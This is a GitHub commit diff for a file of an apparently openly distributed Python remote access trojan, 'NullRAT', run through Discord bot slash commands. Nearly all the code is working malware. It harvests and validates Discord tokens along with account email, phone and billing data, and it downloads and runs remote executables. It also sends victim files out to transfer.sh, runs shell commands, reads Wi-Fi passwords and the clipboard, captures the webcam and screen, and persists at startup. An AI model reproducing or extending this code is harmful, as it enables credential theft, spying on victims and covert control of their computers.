Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 236f11c

Browse files
authored
Code rewrite [v8.2 release]
Added new commands: discord_tokens = Decrypts the new token encryption scheme by Discord, and uploads discord_checked = Decrypts the Discord encrypted tokens and cheecks them Non-English Path support has been added Majority of code has been rewritten to support embeds and make it more consistent Some commands were renamed to improve useability
1 parent 4ba996b commit 236f11c

1 file changed

Lines changed: 125 additions & 49 deletions

File tree

NullRAT/RAT.py

Lines changed: 125 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -11,27 +11,30 @@
1111
from socket import create_connection
1212
import os, subprocess, re, time, aiohttp
1313

14-
client, original_dir = commands.Bot(), os.getcwd()
14+
client, original_dir = commands.InteractionBot(test_guilds=server_ids), os.getcwd()
1515
nr_working = f"C:\\Users\\{os.getenv('username')}\\Music"
1616

1717
@client.event
1818
async def on_ready():
1919
await client.get_channel(notification_channel).send(
20-
embed=Embed(title = f"NullRAT v8.1 started on {IP()}\nCurrently present in {original_dir}")
20+
embed=Embed(title = f"NullRAT v8.2 started on {IP()}\nCurrently present in {original_dir}")
2121
)
2222

2323
# Intelligence Gathering #
24-
@client.slash_command(description="Finds the IP address of victims", guild_ids=server_ids)
24+
@client.slash_command(description="Finds the IP address of victims")
2525
async def getip(ctx):
2626
await ctx.channel.send(
2727
embed=discord.Embed(title=f"The IP of {os.getenv('username')} is: {IP()}", color=0x0081FA)
2828
)
2929
await ctx.response.send_message("Checking all available victims...")
3030

31-
@client.slash_command(description="Finds the values of environment variables", guild_ids=server_ids)
32-
async def getenv(ctx, victim, env_var):
31+
@client.slash_command(description="Finds the values of environment variables")
32+
async def get_environment(ctx, victim, env_var):
3333
if str(victim) == str(IP()):
34-
value = os.getenv(env_var)
34+
try: value = os.getenv(env_var)
35+
except: return await ctx.response.send_message(embed=discord.Embed(title="Invalid environment variable!",color=0x0081FA))
36+
if value is None:
37+
return await ctx.response.send_message(embed=discord.Embed(title="Invalid environment variable!",color=0x0081FA))
3538
if len(value) >= 1023:
3639
return await ctx.response.send_message(f"The value for {env_var} is:\n```{value}```")
3740
await ctx.response.send_message(
@@ -42,7 +45,7 @@ async def getenv(ctx, victim, env_var):
4245
)
4346
)
4447

45-
@client.slash_command(description="Finds all geolocation information of victim", guild_ids=server_ids)
48+
@client.slash_command(description="Finds all geolocation information of victim")
4649
async def geolocate(ctx, victim):
4750
if str(victim) == str(IP()):
4851
await ctx.response.defer()
@@ -58,28 +61,28 @@ async def geolocate(ctx, victim):
5861
embed.add_field(name="Longitude", value=data["lon"], inline=True)
5962
embed.add_field(name="Zip code", value=data["zip"], inline=True)
6063
embed.add_field(name="ISP", value=data["isp"], inline=True)
61-
embed.set_footer(text="Written by NullCode1337#1638")
64+
embed.set_footer(text="Written by NullCode1337")
6265
await ctx.followup.send(embed=embed)
6366
# else: await ctx.response.send_message("aaa")
6467

65-
@client.slash_command(description="Capture image from webcam", guild_ids=server_ids)
66-
async def webcam(ctx, victim):
68+
@client.slash_command(description="Capture image from webcam")
69+
async def webcam_image(ctx, victim):
6770
if str(victim) == str(IP()):
6871
await ctx.response.defer()
6972
webcam = bytes(get("https://raw.githubusercontent.com/NullCode13-Misc/CommandCam/master/CommandCam_binary_base64").text, "utf-8")
7073
os.chdir(nr_working)
7174
with open("cc.exe", "wb") as fh: fh.write(decodebytes(webcam))
7275
subprocess.run("cc.exe & ren image.bmp image.png", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
7376
await ctx.followup.send(
74-
embed=discord.Embed(title="Here is the photo:", color=0x0081FA),
77+
embed=discord.Embed(title="Snapshot taken from webcam:", color=0x0081FA),
7578
file=discord.File(nr_working + "\\image.png")
7679
)
7780
os.remove(nr_working + "\\image.png")
7881
os.remove(nr_working + "\\cc.exe")
7982
os.chdir(original_dir)
8083

81-
@client.slash_command(description="Sends General System Information", guild_ids=server_ids)
82-
async def gsl(ctx, victim):
84+
@client.slash_command(description="Sends General System Information")
85+
async def systeminfo(ctx, victim):
8386
if str(victim) == str(IP()):
8487
await ctx.response.defer()
8588
subprocess.run(
@@ -90,54 +93,125 @@ async def gsl(ctx, victim):
9093
stdin=subprocess.PIPE,
9194
)
9295
await ctx.followup.send(
93-
"Here is the file",
96+
embed=discord.Embed(title="General System Info:", color=0x0081FA),
9497
file=discord.File(nr_working + "\\youtube.txt", filename="General Output.txt"),
9598
)
9699
os.remove(nr_working + "\\youtube.txt")
97100

98-
@client.slash_command(description="Sends screenshot of entire monitor", guild_ids=server_ids)
101+
@client.slash_command(description="Sends screenshot of entire monitor")
99102
async def screenshot(ctx, victim):
100103
if str(victim) == str(IP()):
101104
await ctx.response.defer()
102105
with mss() as sct: sct.shot(output=nr_working+"\\monitor.png")
103106
file = discord.File(nr_working + "\\monitor.png")
104-
await ctx.followup.send(file=file)
107+
await ctx.followup.send(
108+
embed=discord.Embed(title="Screenshot of victim's PC:", color=0x0081FA),
109+
file=file
110+
)
105111
time.sleep(2)
106112
os.remove(nr_working + "\\monitor.png")
107113

108-
@client.slash_command(description="Sends text contents of clipboard", guild_ids=server_ids)
114+
@client.slash_command(description="Sends text contents of clipboard")
109115
async def clipboard(ctx, victim):
110116
if str(victim) == str(IP()):
111117
await ctx.response.defer()
112118
outp = os.popen("powershell Get-Clipboard").read()
113119
await ctx.followup.send(f"```{outp}```" if outp != "" else "No text in clipboard!")
114120

115-
@client.slash_command(description="Sends raw Discord Tokens (fast)", guild_ids=server_ids)
121+
@client.slash_command(description="Sends raw Discord Tokens (fast)")
116122
async def raw_tokens(ctx, victim):
117123
if str(victim) == str(IP()):
118124
await ctx.response.defer()
119-
message, tokens = "", list(dict.fromkeys(find_token()))
125+
message, tokens = "", find_token()
120126
for token in tokens:
121127
message += token + "\n"
122128
if len(message) >= 1023:
123129
return await ctx.followup.send("```" + message + "```")
124130
embed = Embed(title="Discord Tokens (NullRAT):", color=0x0081FA).add_field(name="RAW Tokens:", value=f"```{message.rstrip()}```")
131+
embed.set_footer(text="Written by NullCode1337")
125132
await ctx.followup.send(embed=embed)
126133

127-
@client.slash_command(description="Sends checked tokens along with info (accurate)", guild_ids=server_ids)
134+
@client.slash_command(description="Sends checked tokens along with info (accurate)")
128135
async def checked_tokens(ctx, victim):
129136
if str(victim) == str(IP()):
130137
await ctx.response.defer()
131138
valid, email, phone, uname, nitro, bill, avatar, idq = [], [], [], [], [], [], [], []
132139

133-
for token in list(dict.fromkeys(find_token())):
140+
for token in find_token():
134141
headers = {'Authorization': token, 'Content-Type': 'application/json'}
135142
requ = get('https://discordapp.com/api/v6/users/@me', headers=headers)
136143

137144
if requ.status_code == 401: continue
138145
if requ.status_code == 200:
146+
valid.append( str(token) )
139147
json = requ.json()
148+
email.append( str(json['email']) )
149+
phone.append( str(json['phone']) )
150+
idq.append( str(json["id"]) )
151+
uname.append( f'{json["username"]}#{json["discriminator"]}' )
152+
avatar.append(f"https://cdn.discordapp.com/avatars/{str(json['id'])}/{str(json['avatar'])}" )
153+
nitro.append(str(bool(len(get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=headers).json()) > 0)))
154+
bill.append(str(bool(len(get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json()) > 0)))
155+
continue
156+
157+
if len(valid) == 0:
158+
return await ctx.followup.send(embed = Embed(title="No valid Discord Tokens"))
159+
await ctx.followup.send("Checking all tokens...")
160+
for tk, em, ph, un, ni, bi, av, idqa in zip(valid, email, phone, uname, nitro, bill, avatar, idq):
161+
await ctx.channel.send(embed=checked_embeds(tk, em, ph, un, ni, bi, av, idqa))
162+
163+
@client.slash_command(description="[EXPERIMENTAL] Decrypts encrypted Discord Tokens")
164+
async def discord_tokens(ctx, victim):
165+
if str(victim) == str(IP()):
166+
import os
167+
await ctx.response.defer()
168+
try:
169+
tkr = bytes(get("https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken").text, "utf-8")
170+
await ctx.channel.send("Status:\n> Downloaded custom decryptor")
171+
except Exception as e:
172+
return await ctx.followup.send("Unable to download custom decryptor!\n\n"+e)
173+
174+
os.chdir(nr_working)
175+
176+
with open("tkr.exe", "wb") as fh: fh.write(decodebytes(tkr))
177+
await ctx.channel.send("> Prepared custom decryptor")
178+
discord_tokenz = str(os.popen("tkr.exe").read()).strip('][').split(', ')
179+
await ctx.channel.send("> Attempted to decrypt tokens from discord...")
180+
181+
msg = "Done!\n```"
182+
for a in discord_tokenz:
183+
msg += a + "\n"
184+
msg += "```"
185+
await ctx.followup.send(msg)
186+
os.remove(nr_working + "\\tkr.exe")
187+
os.chdir(original_dir)
188+
189+
@client.slash_command(description="[EXPERIMENTAL] Decrypts and checks encrypted Discord Tokens")
190+
async def discord_checked(ctx, victim):
191+
if str(victim) == str(IP()):
192+
import os
193+
await ctx.response.defer()
194+
try:
195+
tkr = bytes(get("https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken").text, "utf-8")
196+
except Exception as e:
197+
return await ctx.followup.send("Unable to download custom decryptor!\n\n"+e)
198+
199+
os.chdir(nr_working)
200+
with open("tkr.exe", "wb") as fh: fh.write(decodebytes(tkr))
201+
discord_tokenz = str(os.popen("tkr.exe").read()).strip('][').split(', ')
202+
203+
valid, email, phone, uname, nitro, bill, avatar, tks, idq = [], [], [], [], [], [], [], [], []
204+
for a in discord_tokenz: tks.append(a.replace('"',''))
205+
for token in tks:
206+
headers = {'Authorization': token, 'Content-Type': 'application/json'}
207+
requ = get('https://discordapp.com/api/v6/users/@me', headers=headers)
208+
209+
if requ.status_code == 401:
210+
await ctx.channel.send(embed=discord.Embed(title="Token is invalid!",description=token))
211+
continue
212+
if requ.status_code == 200:
140213
valid.append( str(token) )
214+
json = requ.json()
141215
email.append( str(json['email']) )
142216
phone.append( str(json['phone']) )
143217
idq.append( str(json["id"]) )
@@ -152,27 +226,27 @@ async def checked_tokens(ctx, victim):
152226
await ctx.followup.send("Checking all tokens...")
153227
for tk, em, ph, un, ni, bi, av, idqa in zip(valid, email, phone, uname, nitro, bill, avatar, idq):
154228
await ctx.channel.send(embed=checked_embeds(tk, em, ph, un, ni, bi, av, idqa))
155-
229+
156230
# Directory Manipulation #
157-
@client.slash_command(description="Returns Current Working Directory", guild_ids=server_ids)
158-
async def getcwd(ctx, victim):
231+
@client.slash_command(description="Returns Current Working Directory")
232+
async def get_workingdir(ctx, victim):
159233
if str(victim) == str(IP()):
160234
await ctx.response.send_message(embed=EmbedGen("Current directory", "The present directory is: ", f"```{os.getcwd()}```"))
161235

162-
@client.slash_command(description="Uploads file to victim's PC", guild_ids=server_ids)
163-
async def upload(ctx, victim, url, file_name, file_path=nr_working):
236+
@client.slash_command(description="Send file to victim's PC")
237+
async def sendfiles(ctx, victim, url, file_name, file_path=nr_working):
164238
if str(victim) == str(IP()):
165239
await ctx.response.defer()
166240
if '"' in file_path:
167241
file_path = file_path.replace('"','')
168242
try: os.chdir(file_path)
169-
except: return await ctx.followup.send("invalid dir")
243+
except: return await ctx.followup.send("Invalid directory!")
170244
r = get(url, allow_redirects=True)
171245
with open(file_name, "wb") as f: f.write(r.content)
172246
await ctx.followup.send(embed=EmbedGen("Upload information", "Sending file to victim: ", "Success"))
173247

174-
@client.slash_command(description="Downloads file from victim's PC", guild_ids=server_ids)
175-
async def download(ctx, victim, file):
248+
@client.slash_command(description="Receives file from victim's PC")
249+
async def receivefiles(ctx, victim, file):
176250
if str(victim) == str(IP()):
177251
await ctx.response.defer()
178252
if '"' in file:
@@ -182,9 +256,11 @@ async def download(ctx, victim, file):
182256
file = {'{}'.format(file): f}
183257
response = post('https://transfer.sh/', files=file)
184258
download_link = response.content.decode('utf-8')
185-
return await ctx.followup.send("Done! Link is: " + download_link)
259+
embed=discord.Embed(title="Download Inforation", description="Receiving file from victim: Success")
260+
embed.add_field(name="Download link is:", value="download_link")
261+
return await ctx.followup.send(embed=embed)
186262

187-
@client.slash_command(description="Change directory to specified location", guild_ids=server_ids)
263+
@client.slash_command(description="Change directory to specified location")
188264
async def change_directory(ctx, victim, directory):
189265
if str(victim) == str(IP()):
190266
try:
@@ -193,8 +269,8 @@ async def change_directory(ctx, victim, directory):
193269
except FileNotFoundError:
194270
await ctx.response.send_message(embed=EmbedGen("CD information", "Changing directory failed!", "```Error: Incorrect Path```"))
195271

196-
@client.slash_command(description="Finds contents of directory", guild_ids=server_ids)
197-
async def listdir(ctx, victim, directory_to_find="null"):
272+
@client.slash_command(description="Finds contents of directory")
273+
async def list_directory(ctx, victim, directory_to_find="null"):
198274
if str(victim) == str(IP()):
199275
await ctx.response.defer()
200276
if directory_to_find == "null":
@@ -208,12 +284,13 @@ async def listdir(ctx, victim, directory_to_find="null"):
208284
file = discord.File(
209285
os.path.join(nr_working + "\\dir.txt"), filename="Directory.txt"
210286
)
211-
await ctx.followup.send("Contents of dir " + directory_to_find + " are:", file=file)
287+
embed=discord.Embed(title="Contents of directory are:", description=directory_to_find)
288+
await ctx.followup.send(embed=embed, file=file)
212289
os.remove(nr_working + "\\dir.txt")
213290
os.chdir(original_dir)
214291

215292
# Misc. Commands #
216-
@client.slash_command(description="Add NullRAT to startup directory", guild_ids=server_ids)
293+
@client.slash_command(description="Add NullRAT to startup directory")
217294
async def startup(ctx, victim):
218295
if str(victim) == str(IP()):
219296
from sys import executable; msg = "```\n"
@@ -225,8 +302,8 @@ async def startup(ctx, victim):
225302
for value in os.listdir(): msg += f'{value}\n'
226303
msg += "```"; await ctx.followup.send(msg, embed=Embed(title="If you see the program here, you're good to go: ", color=0x0081FA))
227304

228-
@client.slash_command(description="Executes shell commands", guild_ids=server_ids)
229-
async def shell(ctx, msg, victim):
305+
@client.slash_command(description="Executes shell commands")
306+
async def shell(ctx, victim, msg):
230307
if str(victim) == str(IP()):
231308
await ctx.response.defer()
232309
global status; status = None
@@ -261,19 +338,19 @@ def shell():
261338
)
262339
status = None
263340

264-
@client.slash_command(description="Lists all wifi networks", guild_ids=server_ids)
341+
@client.slash_command(description="Lists all wifi networks")
265342
async def wifilist(ctx, victim):
266343
if str(victim) == str(IP()):
267344
await ctx.response.send_message(f"```{os.popen('netsh wlan show profiles').read().replace('All', '').replace('Profile', 'Network')}```")
268345

269-
@client.slash_command(description="Lists specified wifi password", guild_ids=server_ids)
346+
@client.slash_command(description="Lists specified wifi password")
270347
async def wifipass(ctx, victim, name):
271348
if str(victim) == str(IP()):
272349
a = os.popen('netsh wlan show profile '+'"'+name.lstrip().rstrip()+'" '+"key=clear | findstr Key")
273350
await ctx.response.send_message(f"```{a.read()}```")
274351

275-
@client.slash_command(description="Hide file", guild_ids=server_ids)
276-
async def hide(ctx, victim, file):
352+
@client.slash_command(description="Hide file")
353+
async def hidefile(ctx, victim, file):
277354
if str(victim) == str(IP()):
278355
if '"' in file:
279356
file = file.replace('"','')
@@ -282,8 +359,8 @@ async def hide(ctx, victim, file):
282359

283360
await ctx.response.send_message("File hidden successfully")
284361

285-
@client.slash_command(description="Unhide file", guild_ids=server_ids)
286-
async def unhide(ctx, victim, file):
362+
@client.slash_command(description="Unhide file")
363+
async def unhidefile(ctx, victim, file):
287364
if str(victim) == str(IP()):
288365
if '"' in file:
289366
file = file.replace('"','')
@@ -292,15 +369,15 @@ async def unhide(ctx, victim, file):
292369

293370
await ctx.response.send_message("File unhidden successfully")
294371

295-
@client.slash_command(description="Quits NullRAT from specified IP", guild_ids=server_ids)
372+
@client.slash_command(description="Quits NullRAT from specified IP")
296373
async def close(ctx, victim):
297374
if str(victim) == str(IP()):
298375
await ctx.response.send_message(embed=EmbedGen("Information", "Given IP is " + IP(), "Closing NullRAT..."))
299376
await client.close()
300377
if "." not in ip:
301378
return await ctx.response.send_message(embed=EmbedGen("Information", "Given IP is incorrect!", "Please try again"))
302379

303-
@client.slash_command(description="Quits all instances of NullRAT", guild_ids=server_ids)
380+
@client.slash_command(description="Quits all instances of NullRAT")
304381
async def close_all(ctx):
305382
await ctx.response.send_message("Are you sure?", view=closeall_confirm())
306383

@@ -333,15 +410,14 @@ def EmbedGen(title_main, name, value):
333410
color = 0x0081FA
334411
embed = Embed(title=title_main, color=color)
335412
embed.add_field(name=name, value=value)
336-
embed.set_footer(text="Written by NullCode1337#1638")
413+
embed.set_footer(text="Written by NullCode1337")
337414
return embed
338415

339416
def find_token():
340417
tokens = tokens2 = []
341418
local, roaming = os.getenv("LOCALAPPDATA"), os.getenv("APPDATA")
342419
paths = {
343-
"Discord": roaming + "\\Discord", "Discord Canary": roaming + "\\discordcanary",
344-
"Discord PTB": roaming + "\\discordptb", "Lightcord": roaming + "\\Lightcord",
420+
"Lightcord": roaming + "\\Lightcord",
345421
"Opera": roaming + "\\Opera Software\\Opera Stable", "Opera GX": roaming + "\\Opera Software\\Opera GX Stable",
346422
"Chrome": local + "\\Google\\Chrome\\User Data\\Default", "Brave": local + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
347423
"Yandex": local + "\\Yandex\\YandexBrowser\\User Data\\Default", "Vivaldi": local + "\\Vivaldi\\User Data\\Default",
@@ -354,7 +430,7 @@ def find_token():
354430
if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
355431
continue
356432
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
357-
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}"):
433+
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
358434
for token in re.findall(regex, line):
359435
tokens.append(token)
360436
except FileNotFoundError: continue

0 commit comments

Comments
 (0)